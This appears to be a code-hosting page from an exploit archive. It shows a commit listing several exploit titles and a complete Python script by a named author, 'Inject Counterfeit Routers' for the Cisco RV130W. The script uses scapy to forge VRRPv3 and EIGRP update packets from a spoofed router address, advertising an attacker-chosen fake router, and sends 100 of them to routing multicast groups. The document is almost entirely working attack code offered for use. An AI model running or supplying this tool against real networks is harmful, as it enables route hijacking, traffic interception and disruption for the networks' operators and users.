b104992c7d
7 changes to exploits/shellcodes Ether_MP3_CD_Burner 1.3.8 - Buffer Overflow (SEH) Cyberfox Web Browser 52.9.1 - Denial-of-Service (PoC) XAMPP 7.4.3 - Local Privilege Escalation Cisco small business RV130W 1.0.3.44 - Inject Counterfeit Routers WordPress Plugin Wappointment 2.2.4 - Stored Cross-Site Scripting (XSS) Library System 1.0 - 'student_id' SQL injection (Authenticated)
76 lines
No EOL
2.5 KiB
Python
Executable file
76 lines
No EOL
2.5 KiB
Python
Executable file
# Exploit Title: Cisco small business RV130W 1.0.3.44 - Inject Counterfeit Routers
|
|
# Date: 24/09/2021
|
|
# Exploit Author: Michael Alamoot
|
|
# Vendor Homepage: https://www.cisco.com/
|
|
# Version: RV130W 1.0.3.44
|
|
# Tested on: Kali linux
|
|
|
|
#! /usr/bin/env python3
|
|
from scapy.contrib.eigrp import EIGRPAuthData
|
|
from scapy.contrib.eigrp import EIGRPIntRoute
|
|
from scapy.contrib.eigrp import EIGRPGeneric
|
|
from scapy.contrib.eigrp import EIGRPSeq
|
|
from scapy.contrib.eigrp import EIGRP
|
|
from scapy.layers.vrrp import VRRPv3
|
|
from scapy.layers.vrrp import VRRP
|
|
from scapy.layers.l2 import Ether
|
|
from scapy.layers.inet import IP
|
|
from scapy.sendrecv import sendp
|
|
from scapy.volatile import RandMAC
|
|
from scapy.all import conf
|
|
import socket,networkx,os
|
|
import argparse,sys,asyncio
|
|
|
|
class argX:
|
|
def __init__(self):
|
|
self.parser = argparse.ArgumentParser(description="...")
|
|
self.parser.add_argument(
|
|
"-i","--ip",
|
|
help="ip router fake injection",
|
|
dest="ip",
|
|
)
|
|
self.parser.add_argument(
|
|
"-r","--ip-router",
|
|
help="ip router root",
|
|
dest="router",
|
|
default=conf.route.route('0.0.0.0')[2]
|
|
)
|
|
|
|
def argvX(self):
|
|
""" [0] ip-router [1] ip-fake """
|
|
args = self.parser.parse_args()
|
|
ip = args.ip
|
|
route = args.router
|
|
return [ip,route]
|
|
|
|
|
|
class exploit(object):
|
|
|
|
def __new__(cls,*args,**kwargs):
|
|
return super(exploit,cls).__new__(cls)
|
|
|
|
def __init__(self,IProuter,InjectFackeRouter):
|
|
self.IProuter = IProuter
|
|
self.InjectFackeRouter = InjectFackeRouter
|
|
self.MAC = RandMAC()
|
|
|
|
def pyload(self):
|
|
pyload = Ether()/IP(src=self.IProuter,dst="224.0.0.18")\
|
|
/VRRPv3(version=3,type=1,vrid=1,priority=100,res=0,adv=100,addrlist=self.InjectFackeRouter)\
|
|
/IP(src=self.IProuter,dst="224.0.0.10") \
|
|
/EIGRP(opcode="Update",asn=100,seq=0,ack=0
|
|
,tlvlist=[EIGRPIntRoute(dst=self.InjectFackeRouter,nexthop=self.IProuter)])
|
|
return pyload
|
|
|
|
def start(self,count=[0,100]):
|
|
for i in range(count[0],count[1]):
|
|
sendp(self.pyload(),verbose=0,return_packets=False,inter=0,loop=0)
|
|
print(f"\033[41m PACKET \033[0m Injection fake routers {self.IProuter} {self.InjectFackeRouter} \033[31m{i}\033[0m")
|
|
|
|
if __name__ == "__main__":
|
|
a = argX().argvX()
|
|
if a[0]:
|
|
net1 = exploit(IProuter=a[1],InjectFackeRouter=a[0])
|
|
net1.start()
|
|
else:
|
|
print("[-h] [--help]") |